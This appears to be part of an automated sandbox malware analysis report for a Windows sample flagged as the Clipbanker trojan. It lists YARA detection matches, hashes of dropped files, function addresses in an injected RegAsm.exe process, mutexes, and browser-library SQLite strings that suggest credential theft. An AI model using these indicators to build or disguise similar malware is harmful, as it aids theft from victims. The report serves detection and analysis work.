Source: 0000000B.00000002.2209559446.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000F.00000002.4498459924.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000F.00000002.4498459924.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs

Large array initialization: MoveAngles: array initializer size 192000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEBF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6BEBF280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF1B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	2_2_6BF1B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF1B8C0 rand_s,NtQueryVirtualMemory,	2_2_6BF1B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF1B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6BF1B700

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEB35A0	2_2_6BEB35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF253C8	2_2_6BF253C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEBF380	2_2_6BEBF380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BECC370	2_2_6BECC370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEB5340	2_2_6BEB5340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEFD320	2_2_6BEFD320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BED1AF0	2_2_6BED1AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEFE2F0	2_2_6BEFE2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEF8AC0	2_2_6BEF8AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF22AB0	2_2_6BF22AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEB22A0	2_2_6BEB22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEE4AA0	2_2_6BEE4AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BECCAB0	2_2_6BECCAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF2BA90	2_2_6BF2BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEF9A60	2_2_6BEF9A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEBC9A0	2_2_6BEBC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEED9B0	2_2_6BEED9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF12990	2_2_6BF12990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEF5190	2_2_6BEF5190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF0B970	2_2_6BF0B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF2B170	2_2_6BF2B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BECD960	2_2_6BECD960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEDA940	2_2_6BEDA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEDC0E0	2_2_6BEDC0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEF58E0	2_2_6BEF58E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF250C7	2_2_6BF250C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEE60A0	2_2_6BEE60A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEFF070	2_2_6BEFF070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BED8850	2_2_6BED8850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEDD850	2_2_6BEDD850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEFB820	2_2_6BEFB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF04820	2_2_6BF04820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEC7810	2_2_6BEC7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEBDFE0	2_2_6BEBDFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEE6FF0	2_2_6BEE6FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF077A0	2_2_6BF077A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEC9F00	2_2_6BEC9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEF7710	2_2_6BEF7710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF276E3	2_2_6BF276E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEBBEF0	2_2_6BEBBEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BECFEF0	2_2_6BECFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF14EA0	2_2_6BF14EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF1E680	2_2_6BF1E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BED5E90	2_2_6BED5E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF26E63	2_2_6BF26E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEBC670	2_2_6BEBC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BED4640	2_2_6BED4640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BED9E50	2_2_6BED9E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF02E4E	2_2_6BF02E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEF3E50	2_2_6BEF3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF19E30	2_2_6BF19E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF05600	2_2_6BF05600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEF7E10	2_2_6BEF7E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF185F0	2_2_6BF185F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEF0DD0	2_2_6BEF0DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BECFD00	2_2_6BECFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEE0512	2_2_6BEE0512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEDED10	2_2_6BEDED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEBD4E0	2_2_6BEBD4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEF6CF0	2_2_6BEF6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEC64C0	2_2_6BEC64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEDD4D0	2_2_6BEDD4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF134A0	2_2_6BF134A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF1C4A0	2_2_6BF1C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEC6C80	2_2_6BEC6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEC5440	2_2_6BEC5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF2545C	2_2_6BF2545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF2542B	2_2_6BF2542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF02C10	2_2_6BF02C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF2AC00	2_2_6BF2AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEF5C10	2_2_6BEF5C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C026C00	2_2_6C026C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C03AC30	2_2_6C03AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C0E8D20	2_2_6C0E8D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C08AD50	2_2_6C08AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C02ED70	2_2_6C02ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BFDEA80	2_2_6BFDEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BFDCA70	2_2_6BFDCA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C0ECDC0	2_2_6C0ECDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF949F0	2_2_6BF949F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C040E20	2_2_6C040E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BFF09A0	2_2_6BFF09A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF98960	2_2_6BF98960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C000EC0	2_2_6C000EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BFB6900	2_2_6BFB6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C0A0F20	2_2_6C0A0F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C022F70	2_2_6C022F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C0A8FB0	2_2_6C0A8FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BFB0820	2_2_6BFB0820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BFEA820	2_2_6BFEA820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C03EFF0	2_2_6C03EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF60FE0	2_2_6BF60FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C034840	2_2_6C034840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF6EFB0	2_2_6BF6EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BFCEF40	2_2_6BFCEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C0668E0	2_2_6C0668E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF66F10	2_2_6BF66F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF6AEC0	2_2_6BF6AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BFE6E90	2_2_6BFE6E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BFFEE70	2_2_6BFFEE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C01A9A0	2_2_6C01A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C0209B0	2_2_6C0209B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C07C9E0	2_2_6C07C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C00EA00	2_2_6C00EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C018A30	2_2_6C018A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BF64DB0	2_2_6BF64DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BFF6D90	2_2_6BFF6D90

Source: Joe Sandbox View	Dropped File: C:\ProgramData\BKKFCFBKFC.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6BEECBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6BEF94D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C0E09D0 appears 91 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6392 -s 928

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000002.2208281616.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000000.2036305067.0000000000784000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVQP.exeP vs file.exe
Source: file.exe, 00000000.00000002.2209613334.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameVQP.exeP vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameVQP.exeP vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 11.2.BKKFCFBKFC.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 11.2.BKKFCFBKFC.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000B.00000002.2209559446.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000B.00000002.2209559446.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000F.00000002.4498459924.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000F.00000002.4498459924.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/31@1/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_6BF17030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

2_2_6BF17030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00418120 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

2_2_00418120

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00413230 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

2_2_00413230

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\MEOS9GUW.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6392
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5620:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Mutant created: \Sessions\1\BaseNamedObjects\jW5fQ5e-C7lR7tC1q
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7148:120:WilError_03

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\b950a81e-dd21-4071-b8b0-c0c99d264480

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000002.00000002.2240031378.000000001B4E8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2252571464.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000002.00000002.2240031378.000000001B4E8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2252571464.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000002.00000002.2240031378.000000001B4E8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2252571464.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000002.00000002.2240031378.000000001B4E8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2252571464.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2240031378.000000001B4E8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2252571464.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000002.00000002.2240031378.000000001B4E8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2252571464.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000002.00000002.2240031378.000000001B4E8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2252571464.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
